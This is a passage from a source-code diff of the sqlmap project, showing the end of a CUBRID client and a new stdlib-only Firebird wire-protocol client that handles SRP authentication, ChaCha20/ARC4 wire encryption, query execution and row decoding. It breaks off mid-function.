reader = self._call(_Writer(_FC_PREPARE).arg_nts(query).arg_byte(0).arg_byte(0))
|
||||
handle = reader.int()
|
||||
reader.int() # result cache lifetime
|
||||
stmt_type = reader.byte()
|
||||
reader.int() # bind count
|
||||
reader.byte() # is_updatable
|
||||
columns = self._parse_columns(reader, reader.int())
|
||||
|
||||
exec_writer = (_Writer(_FC_EXECUTE).arg_int(handle).arg_byte(0).arg_int(0).arg_int(0)
|
||||
.arg_null().arg_byte(1 if stmt_type == _STMT_SELECT else 0)
|
||||
.arg_byte(0).arg_byte(1).arg_cache_time().arg_int(0))
|
||||
reader = self._call(exec_writer)
|
||||
|
||||
total = reader.int()
|
||||
reader.byte() # cache reusable
|
||||
result_count = reader.int()
|
||||
result_infos = [self._parse_result_info(reader) for _ in range(result_count)]
|
||||
if self._protocol_version > 1:
|
||||
reader.byte() # includes_column_info
|
||||
if self._protocol_version > 4:
|
||||
reader.int() # shard_id
|
||||
|
||||
description, rows, rowcount = None, [], -1
|
||||
if stmt_type == _STMT_SELECT and columns:
|
||||
description = [(c.name, c.type, None, None, c.precision, c.scale, None) for c in columns]
|
||||
if reader.remaining() >= 8:
|
||||
reader.int() # fetch code
|
||||
tuple_count = reader.int()
|
||||
rows = self._parse_rows(reader, tuple_count, columns)
|
||||
rows += self._fetch_remaining(handle, columns, len(rows), total)
|
||||
elif result_infos:
|
||||
rowcount = result_infos[0]
|
||||
self._call(_Writer(_FC_CLOSE_REQ_HANDLE).arg_int(handle))
|
||||
return description, rows, rowcount
|
||||
|
||||
def _fetch_remaining(self, handle, columns, fetched, total):
|
||||
rows = []
|
||||
while fetched + len(rows) < total:
|
||||
reader = self._call(_Writer(_FC_FETCH).arg_int(handle)
|
||||
.arg_int(fetched + len(rows) + 1).arg_int(100).arg_byte(0).arg_int(0))
|
||||
reader.int() # response code (>=0)
|
||||
tuple_count = reader.int()
|
||||
if tuple_count <= 0:
|
||||
break
|
||||
rows += self._parse_rows(reader, tuple_count, columns)
|
||||
return rows
|
||||
|
||||
def _parse_result_info(self, reader):
|
||||
reader.byte() # stmt type
|
||||
count = reader.int() # affected rows
|
||||
reader.raw(_OID_SIZE)
|
||||
reader.int(); reader.int() # cache time sec/usec
|
||||
return count
|
||||
|
||||
def _parse_columns(self, reader, count):
|
||||
columns = []
|
||||
for _ in range(count):
|
||||
col = _Column()
|
||||
legacy = reader.byte()
|
||||
col.type = reader.byte() if legacy & 0x80 else legacy
|
||||
col.scale = reader.short()
|
||||
col.precision = reader.int()
|
||||
col.name = _to_str(reader.nts(reader.int()))
|
||||
reader.nts(reader.int()) # real name
|
||||
reader.nts(reader.int()) # table name
|
||||
reader.byte() # is_nullable
|
||||
reader.nts(reader.int()) # default value
|
||||
reader.skip(7) # auto_inc/unique/primary/rev_index/rev_unique/foreign/shared
|
||||
columns.append(col)
|
||||
return columns
|
||||
|
||||
def _parse_rows(self, reader, tuple_count, columns):
|
||||
rows = []
|
||||
for _ in range(tuple_count):
|
||||
reader.int() # row index
|
||||
reader.skip(_OID_SIZE)
|
||||
row = []
|
||||
for col in columns:
|
||||
size = reader.int()
|
||||
if size <= 0:
|
||||
row.append(None)
|
||||
else:
|
||||
row.append(_decode_value(reader, col.type, size))
|
||||
rows.append(tuple(row))
|
||||
return rows
|
||||
|
||||
def _to_str(b):
|
||||
v = _decode_text(b)
|
||||
return v if isinstance(v, str) else v.decode("latin-1")
|
||||
|
||||
def connect(host=None, port=33000, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
try:
|
||||
return Connection(host or "localhost", int(port or 33000), user or "public",
|
||||
password or "", database or "", connect_timeout)
|
||||
except (DatabaseError, InterfaceError):
|
||||
raise
|
||||
except Exception as ex:
|
||||
raise OperationalError("CUBRID connection failed (%s)" % ex)
|
||||
@@ -0,0 +1,838 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python Firebird wire-protocol client (stdlib only, no firebirdsql).
|
||||
|
||||
Speaks the Firebird v13-17 protocol (Firebird 3/4/5): op_connect, SRP-256 authentication, ChaCha20 (or
|
||||
Arc4) wire encryption - which Firebird 4+ requires by default - then attach / transaction / prepare /
|
||||
execute / fetch with XSQLDA column description and row decoding. Read-oriented for sqlmap: execute() takes
|
||||
a fully-formed query string, binary/blob values come back as bytes (sqlmap hex-encodes them).
|
||||
"""
|
||||
|
||||
import datetime
|
||||
import hashlib
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DatabaseError
|
||||
from extra.dbwire import DataError
|
||||
from extra.dbwire import IntegrityError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
|
||||
# operation codes
|
||||
_op_connect = 1
|
||||
_op_accept = 3
|
||||
_op_reject = 4
|
||||
_op_response = 9
|
||||
_op_attach = 19
|
||||
_op_detach = 21
|
||||
_op_transaction = 29
|
||||
_op_commit_retaining = 50
|
||||
_op_rollback_retaining = 86
|
||||
_op_get_segment = 36
|
||||
_op_close_blob = 39
|
||||
_op_open_blob2 = 56
|
||||
_op_allocate_statement = 62
|
||||
_op_execute = 63
|
||||
_op_fetch = 65
|
||||
_op_fetch_response = 66
|
||||
_op_free_statement = 67
|
||||
_op_prepare_statement = 68
|
||||
_op_info_sql = 70
|
||||
_op_dummy = 71
|
||||
_op_cont_auth = 92
|
||||
_op_crypt = 96
|
||||
_op_accept_data = 94
|
||||
_op_cond_accept = 98
|
||||
|
||||
# CNCT parameter codes
|
||||
_CNCT_user = 1
|
||||
_CNCT_host = 4
|
||||
_CNCT_user_verification = 6
|
||||
_CNCT_specific_data = 7
|
||||
_CNCT_plugin_name = 8
|
||||
_CNCT_login = 9
|
||||
_CNCT_plugin_list = 10
|
||||
_CNCT_client_crypt = 11
|
||||
|
||||
# database / transaction parameter block items
|
||||
_isc_dpb_version1 = 1
|
||||
_isc_dpb_user_name = 28
|
||||
_isc_dpb_lc_ctype = 48
|
||||
_isc_dpb_process_id = 71
|
||||
_isc_dpb_process_name = 74
|
||||
_isc_tpb_version3 = 3
|
||||
_isc_tpb_wait = 6
|
||||
_isc_tpb_write = 9
|
||||
_isc_tpb_read_committed = 15
|
||||
_isc_tpb_rec_version = 17
|
||||
|
||||
# isc_info_sql_* describe items
|
||||
_isc_info_end = 1
|
||||
_isc_info_truncated = 2
|
||||
_isc_info_sql_select = 4
|
||||
_isc_info_sql_describe_vars = 7
|
||||
_isc_info_sql_describe_end = 8
|
||||
_isc_info_sql_sqlda_seq = 9
|
||||
_isc_info_sql_type = 11
|
||||
_isc_info_sql_sub_type = 12
|
||||
_isc_info_sql_scale = 13
|
||||
_isc_info_sql_length = 14
|
||||
_isc_info_sql_null_ind = 15
|
||||
_isc_info_sql_field = 16
|
||||
_isc_info_sql_relation = 17
|
||||
_isc_info_sql_owner = 18
|
||||
_isc_info_sql_alias = 19
|
||||
_isc_info_sql_sqlda_start = 20
|
||||
_isc_info_sql_stmt_type = 21
|
||||
_INFO_SQL_SELECT_DESCRIBE_VARS = bytes(bytearray([
|
||||
_isc_info_sql_select, _isc_info_sql_describe_vars, _isc_info_sql_sqlda_seq,
|
||||
_isc_info_sql_type, _isc_info_sql_sub_type, _isc_info_sql_scale, _isc_info_sql_length,
|
||||
_isc_info_sql_null_ind, _isc_info_sql_field, _isc_info_sql_relation, _isc_info_sql_owner,
|
||||
_isc_info_sql_alias, _isc_info_sql_describe_end]))
|
||||
|
||||
_isc_info_sql_stmt_select = 1
|
||||
_DSQL_drop = 2
|
||||
|
||||
# SQL type codes
|
||||
_SQL_VARYING = 448
|
||||
_SQL_TEXT = 452
|
||||
_SQL_DOUBLE = 480
|
||||
_SQL_FLOAT = 482
|
||||
_SQL_LONG = 496
|
||||
_SQL_SHORT = 500
|
||||
_SQL_TIMESTAMP = 510
|
||||
_SQL_BLOB = 520
|
||||
_SQL_TIME = 560
|
||||
_SQL_DATE = 570
|
||||
_SQL_INT64 = 580
|
||||
_SQL_INT128 = 32752
|
||||
_SQL_TIMESTAMP_TZ = 32754
|
||||
_SQL_TIME_TZ = 32756
|
||||
_SQL_BOOLEAN = 32764
|
||||
_SQL_TYPE_LENGTH = { # fixed on-the-wire length by SQL type (VARYING is length-prefixed -> -1)
|
||||
_SQL_VARYING: -1, _SQL_SHORT: 4, _SQL_LONG: 4, _SQL_FLOAT: 4, _SQL_TIME: 4, _SQL_DATE: 4,
|
||||
_SQL_DOUBLE: 8, _SQL_TIMESTAMP: 8, _SQL_BLOB: 8, _SQL_INT64: 8, _SQL_INT128: 16,
|
||||
_SQL_TIMESTAMP_TZ: 12, _SQL_TIME_TZ: 8, _SQL_BOOLEAN: 1,
|
||||
}
|
||||
# per-type output BLR fragment used to describe the fetched row (see calc_blr)
|
||||
_SQL_TYPE_BLR = {
|
||||
_SQL_DOUBLE: [27], _SQL_FLOAT: [10], _SQL_DATE: [12], _SQL_TIME: [13], _SQL_TIMESTAMP: [35],
|
||||
_SQL_BLOB: [9, 0], _SQL_BOOLEAN: [23], _SQL_TIME_TZ: [28], _SQL_TIMESTAMP_TZ: [29],
|
||||
}
|
||||
|
||||
# status-vector argument tags
|
||||
_isc_arg_end = 0
|
||||
_isc_arg_gds = 1
|
||||
_isc_arg_string = 2
|
||||
_isc_arg_number = 4
|
||||
_isc_arg_interpreted = 5
|
||||
_isc_arg_sql_state = 19
|
||||
_GDS_INTEGRITY = frozenset((335544838, 335544879, 335544880, 335544466, 335544665, 335544347, 335544558))
|
||||
_GDS_DATA = frozenset((335544321,))
|
||||
_GDS_WARNING = 335544434
|
||||
|
||||
# SRP-6a group used by Firebird (fixed 1024-bit prime, generator 2)
|
||||
_SRP_N = int("E67D2E994B2F900C3F41F08F5BB2627ED0D49EE1FE767A52EFCD565CD6E768812C3E1E9CE8F0A8BEA6CB13CD29DDE"
|
||||
"BF7A96D4A93B55D488DF099A15C89DCB0640738EB2CBDD9A8F7BAB561AB1B0DC1C6CDABF303264A08D1BCA932D1F"
|
||||
"1EE428B619D970F342ABA9A65793B8B2F041AE5364350C16F735F56ECBCA87BD57B29E7", 16)
|
||||
_SRP_g = 2
|
||||
_SRP_k = 1277432915985975349439481660349303019122249719989
|
||||
|
||||
def _minbe(n):
|
||||
# minimal big-endian bytes of a non-negative integer (matches firebirdsql long2bytes/pad for these sizes)
|
||||
out = bytearray()
|
||||
while n > 0:
|
||||
out.insert(0, n & 0xff)
|
||||
n >>= 8
|
||||
return bytes(out)
|
||||
|
||||
def _b2l(b):
|
||||
n = 0
|
||||
for c in bytearray(b):
|
||||
n = (n << 8) | c
|
||||
return n
|
||||
|
||||
def _sha1(*parts):
|
||||
h = hashlib.sha1()
|
||||
for p in parts:
|
||||
h.update(p if isinstance(p, bytes) else _minbe(p))
|
||||
return h.digest()
|
||||
|
||||
def _srp_client_seed():
|
||||
a = _b2l(os.urandom(16)) # client private key (128-bit)
|
||||
return pow(_SRP_g, a, _SRP_N), a
|
||||
|
||||
def _srp_client_proof(user, password, salt, A, B, a, hash_algo):
|
||||
# session key K (always SHA-1) then the Firebird-specific proof M (SHA-1 for Srp, SHA-256 for Srp256)
|
||||
u = _b2l(_sha1(_minbe(A), _minbe(B)))
|
||||
x = _b2l(_sha1(salt, _sha1(user, b":", password)))
|
||||
S = pow((B - _SRP_k * pow(_SRP_g, x, _SRP_N)) % _SRP_N, (a + u * x) % _SRP_N, _SRP_N)
|
||||
K = _sha1(_minbe(S))
|
||||
n1 = _b2l(_sha1(_minbe(_SRP_N)))
|
||||
n2 = _b2l(_sha1(_minbe(_SRP_g)))
|
||||
n1 = pow(n1, n2, _SRP_N) # NOTE: modular exponentiation, not XOR (Firebird quirk)
|
||||
n2 = _b2l(_sha1(user))
|
||||
h = hash_algo()
|
||||
for p in (_minbe(n1), _minbe(n2), salt, _minbe(A), _minbe(B), K):
|
||||
h.update(p)
|
||||
return h.digest(), K
|
||||
|
||||
class _ARC4(object):
|
||||
def __init__(self, key):
|
||||
s = list(range(256))
|
||||
key = bytearray(key)
|
||||
j = 0
|
||||
for i in range(256):
|
||||
j = (j + s[i] + key[i % len(key)]) & 0xff
|
||||
s[i], s[j] = s[j], s[i]
|
||||
self._s, self._i, self._j = s, 0, 0
|
||||
|
||||
def translate(self, data):
|
||||
s, i, j, out = self._s, self._i, self._j, bytearray()
|
||||
for c in bytearray(data):
|
||||
i = (i + 1) & 0xff
|
||||
j = (j + s[i]) & 0xff
|
||||
s[i], s[j] = s[j], s[i]
|
||||
out.append(c ^ s[(s[i] + s[j]) & 0xff])
|
||||
self._i, self._j = i, j
|
||||
return bytes(out)
|
||||
|
||||
class _ChaCha20(object):
|
||||
_SIGMA = b"expand 32-byte k"
|
||||
|
||||
def __init__(self, key, nonce):
|
||||
self._nonce = nonce
|
||||
self._counter = 0
|
||||
block = self._SIGMA + key + self._ctr_bytes() + nonce
|
||||
self._state = list(struct.unpack("<16L", block))
|
||||
self._make_block()
|
||||
|
||||
def _ctr_bytes(self):
|
||||
return struct.pack("<Q", self._counter)[:16 - len(self._nonce)]
|
||||
|
||||
def _make_block(self):
|
||||
x = list(self._state)
|
||||
for _ in range(10):
|
||||
self._qr(x, 0, 4, 8, 12); self._qr(x, 1, 5, 9, 13)
|
||||
self._qr(x, 2, 6, 10, 14); self._qr(x, 3, 7, 11, 15)
|
||||
self._qr(x, 0, 5, 10, 15); self._qr(x, 1, 6, 11, 12)
|
||||
self._qr(x, 2, 7, 8, 13); self._qr(x, 3, 4, 9, 14)
|
||||
self._block = struct.pack("<16L", *[(x[i] + self._state[i]) & 0xffffffff for i in range(16)])
|
||||
self._pos = 0
|
||||
|
||||
@staticmethod
|
||||
def _qr(x, a, b, c, d):
|
||||
def rot(v, n):
|
||||
return ((v << n) | (v >> (32 - n))) & 0xffffffff
|
||||
x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 16)
|
||||
x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 12)
|
||||
x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 8)
|
||||
x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 7)
|
||||
|
||||
def translate(self, data):
|
||||
out = bytearray()
|
||||
block = bytearray(self._block)
|
||||
for c in bytearray(data):
|
||||
out.append(c ^ block[self._pos])
|
||||
self._pos += 1
|
||||
if self._pos == 64:
|
||||
self._counter += 1
|
||||
cb = self._ctr_bytes()
|
||||
self._state[12] = struct.unpack("<L", cb[:4])[0]
|
||||
if len(self._nonce) == 8:
|
||||
self._state[13] = struct.unpack("<L", cb[4:8])[0]
|
||||
self._make_block()
|
||||
block = bytearray(self._block)
|
||||
return bytes(out)
|
||||
|
||||
def _guess_wire_crypt(buf):
|
||||
# parse the crypt-key callback (type/length/value items) -> (plugin, nonce)
|
||||
plugins, nonces, buf, i = [], [], bytearray(buf), 0
|
||||
while i < len(buf):
|
||||
t, ln = buf[i], buf[i + 1]
|
||||
v = bytes(buf[i + 2:i + 2 + ln])
|
||||
i += 2 + ln
|
||||
if t == 1:
|
||||
plugins = v.split()
|
||||
elif t == 3:
|
||||
nonces.append(v)
|
||||
if b"ChaCha64" in plugins:
|
||||
for s in nonces:
|
||||
if s[:9] == b"ChaCha64\x00":
|
||||
return b"ChaCha64", s[9:]
|
||||
if b"ChaCha" in plugins:
|
||||
for s in nonces:
|
||||
if s[:7] == b"ChaCha\x00":
|
||||
return b"ChaCha", s[7:7 + 12]
|
||||
if b"Arc4" in plugins:
|
||||
return b"Arc4", None
|
||||
return None, None
|
||||
|
||||
class _Wire(object):
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
self._rc = self._wc = None
|
||||
|
||||
def set_ciphers(self, rc, wc):
|
||||
self._rc, self._wc = rc, wc
|
||||
|
||||
def send(self, data):
|
||||
self._sock.sendall(self._wc.translate(data) if self._wc else data)
|
||||
|
||||
def _recv_raw(self, n):
|
||||
buf = b""
|
||||
while len(buf) < n:
|
||||
chunk = self._sock.recv(n - len(buf))
|
||||
if not chunk:
|
||||
raise InterfaceError("connection closed by server")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
def recv(self, n, align=False):
|
||||
total = n + ((4 - n % 4) % 4) if align else n
|
||||
data = self._recv_raw(total)
|
||||
if self._rc:
|
||||
data = self._rc.translate(data)
|
||||
return data[:n]
|
||||
|
||||
def recv_int(self):
|
||||
return struct.unpack("!i", self.recv(4))[0]
|
||||
|
||||
def recv_bytes(self):
|
||||
return self.recv(self.recv_int(), align=True)
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _pack_int(v):
|
||||
return struct.pack("!i", v)
|
||||
|
||||
def _pack_bytes(v):
|
||||
return _pack_int(len(v)) + v + b"\x00" * ((4 - len(v) % 4) % 4)
|
||||
|
||||
def _le(b):
|
||||
n = 0
|
||||
for c in reversed(bytearray(b)):
|
||||
n = (n << 8) | c
|
||||
return n
|
||||
|
||||
def _le_signed(b):
|
||||
n = _le(b) # info-buffer scalars are little-endian; scale is signed (usually negative)
|
||||
if b and (bytearray(b)[-1] & 0x80):
|
||||
n -= 1 << (8 * len(b))
|
||||
return n
|
||||
|
||||
def _b2i_signed(b):
|
||||
n = _b2l(b)
|
||||
if bytearray(b) and bytearray(b)[0] & 0x80:
|
||||
n -= 1 << (8 * len(b))
|
||||
return n
|
||||
|
||||
def _scaled(n, scale):
|
||||
# integer n represents n * 10**scale (scale <= 0); render as an exact decimal string
|
||||
if scale >= 0:
|
||||
return str(n * (10 ** scale))
|
||||
digits = "%0*d" % (-scale + 1, abs(n))
|
||||
return ("-" if n < 0 else "") + digits[:scale] + "." + digits[scale:]
|
||||
|
||||
_EPOCH_DAYS = datetime.date(1858, 11, 17).toordinal()
|
||||
|
||||
def _decode_date(raw):
|
||||
return datetime.date.fromordinal(_EPOCH_DAYS + struct.unpack("!i", raw)[0])
|
||||
|
||||
def _decode_time(raw):
|
||||
n = struct.unpack("!I", raw)[0]
|
||||
s, frac = divmod(n, 10000)
|
||||
return datetime.time(s // 3600, (s // 60) % 60, s % 60, frac * 100)
|
||||
|
||||
class _Column(object):
|
||||
__slots__ = ("name", "sqltype", "subtype", "scale", "length")
|
||||
|
||||
def io_length(self):
|
||||
return self.length if self.sqltype == _SQL_TEXT else _SQL_TYPE_LENGTH[self.sqltype]
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows = self.connection._query(query)
|
||||
self.rowcount = len(self._rows)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, wire, filename, user, password):
|
||||
self._wire = wire
|
||||
self._filename = filename
|
||||
self._user = user
|
||||
self._password = password
|
||||
self._db_handle = None
|
||||
self._trans_handle = None
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
if self._trans_handle is not None:
|
||||
self._send(_pack_int(_op_commit_retaining) + _pack_int(self._trans_handle))
|
||||
self._response()
|
||||
|
||||
def rollback(self):
|
||||
if self._trans_handle is not None:
|
||||
self._send(_pack_int(_op_rollback_retaining) + _pack_int(self._trans_handle))
|
||||
self._response()
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
if self._db_handle is not None:
|
||||
self._send(_pack_int(_op_detach) + _pack_int(self._db_handle))
|
||||
self._response()
|
||||
except Exception:
|
||||
pass
|
||||
self._wire.close()
|
||||
|
||||
# ---- wire helpers ----
|
||||
|
||||
def _send(self, data):
|
||||
self._wire.send(data)
|
||||
|
||||
def _response(self):
|
||||
op = self._wire.recv_int()
|
||||
while op == _op_dummy:
|
||||
op = self._wire.recv_int()
|
||||
if op != _op_response:
|
||||
raise OperationalError("unexpected Firebird operation %d" % op)
|
||||
return self._parse_response()
|
||||
|
||||
def _parse_response(self):
|
||||
head = self._wire.recv(16)
|
||||
handle = struct.unpack("!i", head[:4])[0]
|
||||
object_id = head[4:12]
|
||||
buf = self._wire.recv(struct.unpack("!i", head[12:16])[0], align=True)
|
||||
self._check_status()
|
||||
return handle, object_id, buf
|
||||
|
||||
def _check_status(self):
|
||||
gds, message = set(), ""
|
||||
n = self._wire.recv_int()
|
||||
while n != _isc_arg_end:
|
||||
if n == _isc_arg_gds:
|
||||
gds_code = self._wire.recv_int()
|
||||
if gds_code:
|
||||
gds.add(gds_code)
|
||||
elif n == _isc_arg_number:
|
||||
message += " %d" % self._wire.recv_int()
|
||||
elif n in (_isc_arg_string, _isc_arg_interpreted, _isc_arg_sql_state):
|
||||
s = self._wire.recv(self._wire.recv_int(), align=True)
|
||||
if n != _isc_arg_sql_state:
|
||||
message += " " + s.decode("utf-8", "replace")
|
||||
n = self._wire.recv_int()
|
||||
if gds:
|
||||
message = ("(remote) firebird error %s%s" % (sorted(gds), message)).strip()
|
||||
if gds & _GDS_INTEGRITY:
|
||||
raise IntegrityError(message)
|
||||
if gds & _GDS_DATA:
|
||||
raise DataError(message)
|
||||
if _GDS_WARNING not in gds:
|
||||
raise OperationalError(message)
|
||||
|
||||
# ---- query ----
|
||||
|
||||
def _query(self, query):
|
||||
try:
|
||||
return self._run(query)
|
||||
except (struct.error, IndexError, ValueError, KeyError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def _run(self, query):
|
||||
qbytes = query.encode("utf-8")
|
||||
self._send(_pack_int(_op_allocate_statement) + _pack_int(self._db_handle))
|
||||
stmt = self._response()[0]
|
||||
|
||||
desc_items = bytes(bytearray([_isc_info_sql_stmt_type])) + _INFO_SQL_SELECT_DESCRIBE_VARS
|
||||
self._send(_pack_int(_op_prepare_statement) + _pack_int(self._trans_handle) + _pack_int(stmt) +
|
||||
_pack_int(3) + _pack_bytes(qbytes) + _pack_bytes(desc_items) + _pack_int(1024))
|
||||
buf = self._response()[2]
|
||||
stmt_type, columns = self._parse_describe(stmt, buf)
|
||||
|
||||
exec_msg = (_pack_int(_op_execute) + _pack_int(stmt) + _pack_int(self._trans_handle) +
|
||||
_pack_bytes(b"") + _pack_int(0) + _pack_int(0) + _pack_int(0))
|
||||
self._send(exec_msg)
|
||||
self._response()
|
||||
|
||||
description, rows = None, []
|
||||
if stmt_type == _isc_info_sql_stmt_select and columns:
|
||||
description = [(c.name, c.sqltype, None, None, None, None, None) for c in columns]
|
||||
rows = self._fetch(stmt, columns)
|
||||
self._send(_pack_int(_op_free_statement) + _pack_int(stmt) + _pack_int(_DSQL_drop))
|
||||
self._response()
|
||||
return description, rows
|
||||
|
||||
def _parse_describe(self, stmt, buf):
|
||||
stmt_type, columns = None, []
|
||||
i = 0
|
||||
while i < len(buf):
|
||||
if bytearray(buf[i:i + 3]) == bytearray([_isc_info_sql_stmt_type, 4, 0]):
|
||||
stmt_type = _le(buf[i + 3:i + 7])
|
||||
i += 7
|
||||
elif bytearray(buf[i:i + 2]) == bytearray([_isc_info_sql_select, _isc_info_sql_describe_vars]):
|
||||
i += 2
|
||||
ln = _le(buf[i:i + 2]); i += 2
|
||||
count = _le(buf[i:i + ln]); i += ln
|
||||
columns = [_Column() for _ in range(count)]
|
||||
next_index = self._parse_items(buf[i:], columns)
|
||||
while next_index > 0: # describe buffer truncated: request the remaining columns
|
||||
self._send(_pack_int(_op_info_sql) + _pack_int(stmt) + _pack_int(0) + _pack_bytes(
|
||||
bytes(bytearray([_isc_info_sql_sqlda_start, 2])) + struct.pack("<H", next_index) +
|
||||
_INFO_SQL_SELECT_DESCRIBE_VARS) + _pack_int(1024))
|
||||
more = self._response()[2]
|
||||
ln = _le(more[2:4])
|
||||
next_index = self._parse_items(more[4 + ln:], columns)
|
||||
break
|
||||
else:
|
||||
break
|
||||
return stmt_type, columns
|
||||
|
||||
def _parse_items(self, buf, columns):
|
||||
index, i = 0, 0
|
||||
buf = bytearray(buf)
|
||||
while i < len(buf):
|
||||
item = buf[i]
|
||||
if item == _isc_info_end:
|
||||
break
|
||||
if item == _isc_info_truncated:
|
||||
return index # continue from here in another round
|
||||
if item == _isc_info_sql_describe_end:
|
||||
i += 1
|
||||
continue
|
||||
ln = _le(buf[i + 1:i + 3])
|
||||
value = buf[i + 3:i + 3 + ln]
|
||||
if item == _isc_info_sql_sqlda_seq:
|
||||
index = _le(value)
|
||||
elif item == _isc_info_sql_type:
|
||||
columns[index - 1].sqltype = _le(value) & ~1
|
||||
elif item == _isc_info_sql_sub_type:
|
||||
columns[index - 1].subtype = _le(value)
|
||||
elif item == _isc_info_sql_scale:
|
||||
columns[index - 1].scale = _le_signed(value)
|
||||
elif item == _isc_info_sql_length:
|
||||
columns[index - 1].length = _le(value)
|
||||
elif item == _isc_info_sql_alias:
|
||||
columns[index - 1].name = value.decode("utf-8", "replace")
|
||||
elif item == _isc_info_sql_field and not getattr(columns[index - 1], "name", None):
|
||||
columns[index - 1].name = value.decode("utf-8", "replace")
|
||||
i += 3 + ln
|
||||
return -1
|
||||
|
||||
def _calc_blr(self, columns):
|
||||
ln = len(columns) * 2
|
||||
blr = [5, 2, 4, 0, ln & 0xff, ln >> 8]
|
||||
for c in columns:
|
||||
t = c.sqltype
|
||||
if t == _SQL_VARYING:
|
||||
blr += [37, c.length & 0xff, c.length >> 8]
|
||||
elif t == _SQL_TEXT:
|
||||
blr += [14, c.length & 0xff, c.length >> 8]
|
||||
elif t == _SQL_LONG:
|
||||
blr += [8, c.scale]
|
||||
elif t == _SQL_SHORT:
|
||||
blr += [7, c.scale]
|
||||
elif t == _SQL_INT64:
|
||||
blr += [16, c.scale]
|
||||
elif t == _SQL_INT128:
|
||||
blr += [26, c.scale]
|
||||
else:
|
||||
blr += _SQL_TYPE_BLR[t]
|
||||
blr += [7, 0]
|
||||
blr += [255, 76]
|
||||
return bytes(bytearray((256 + b) if b < 0 else b for b in blr))
|
||||
|
||||
def _fetch(self, stmt, columns):
|
||||
blr = self._calc_blr(columns)
|
||||
nbytes = (len(columns) + 7) // 8
|
||||
blob_cols = [i for i, c in enumerate(columns) if c.sqltype == _SQL_BLOB]
|
||||
rows = []
|
||||
more = True
|
||||
while more:
|
||||
self._send(_pack_int(_op_fetch) + _pack_int(stmt) + _pack_bytes(blr) + _pack_int(0) + _pack_int(400))
|
||||
op = self._wire.recv_int()
|
||||
while op == _op_dummy:
|
||||
op = self._wire.recv_int()
|
||||
if op != _op_fetch_response:
|
||||
if op == _op_response:
|
||||
self._parse_response()
|
||||
raise OperationalError("unexpected Firebird operation %d during fetch" % op)
|
||||
status = self._wire.recv_int()
|
||||
count = self._wire.recv_int()
|
||||
while count:
|
||||
null_bitmap = _le(self._wire.recv(nbytes, align=True))
|
||||
row = []
|
||||
for i, col in enumerate(columns):
|
||||
if null_bitmap & (1 << i):
|
||||
row.append(None)
|
||||
continue
|
||||
io = col.io_length()
|
||||
ln = self._wire.recv_int() if io < 0 else io
|
||||
raw = self._wire.recv(ln, align=True)
|
||||
# blob columns yield an 8-byte blob id; resolve AFTER the fetch batch is fully drained
|
||||
# (a blob sub-request mid-batch would interleave with the still-streaming rows and desync)
|
||||
row.append(raw if col.sqltype == _SQL_BLOB else self._decode(col, raw))
|
||||
rows.append(row)
|
||||
op = self._wire.recv_int()
|
||||
status = self._wire.recv_int()
|
||||
count = self._wire.recv_int()
|
||||
more = status != 100
|
||||
for i in blob_cols:
|
||||
for row in rows:
|
||||
if row[i] is not None:
|
||||
row[i] = self._read_blob(row[i], columns[i].subtype)
|
||||
return [tuple(row) for row in rows]
|
||||
|
||||
def _decode(self, col, raw):
|
||||
t = col.sqltype
|
||||
if t == _SQL_TEXT:
|
||||
return self._decode_text(raw, rstrip=True)
|
||||
if t == _SQL_VARYING:
|
||||
return self._decode_text(raw, rstrip=False)
|
||||
if t in (_SQL_SHORT, _SQL_LONG, _SQL_INT64, _SQL_INT128):
|
||||
n = _b2i_signed(raw)
|
||||
return _scaled(n, col.scale) if col.scale else str(n)
|
||||
if t == _SQL_FLOAT:
|
||||
return repr(struct.unpack("!f", raw)[0])
|
||||
if t == _SQL_DOUBLE:
|
||||
return repr(struct.unpack("!d", raw)[0])
|
||||
if t == _SQL_BOOLEAN:
|
||||
return "true" if bytearray(raw)[0] else "false"
|
||||
if t == _SQL_DATE:
|
||||
return "%s" % _decode_date(raw)
|
||||
if t == _SQL_TIME:
|
||||
return "%s" % _decode_time(raw)
|
||||
if t == _SQL_TIMESTAMP:
|
||||
return "%s %s" % (_decode_date(raw[:4]), _decode_time(raw[4:]))
|
||||
if t == _SQL_BLOB:
|
||||
return self._read_blob(raw, col.subtype)
|
||||
return raw # unknown/decimal-float type -> raw bytes (sqlmap hex-encodes)
|
||||
|
||||
def _decode_text(self, raw, rstrip):
|
||||
try:
|
||||
s = raw.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
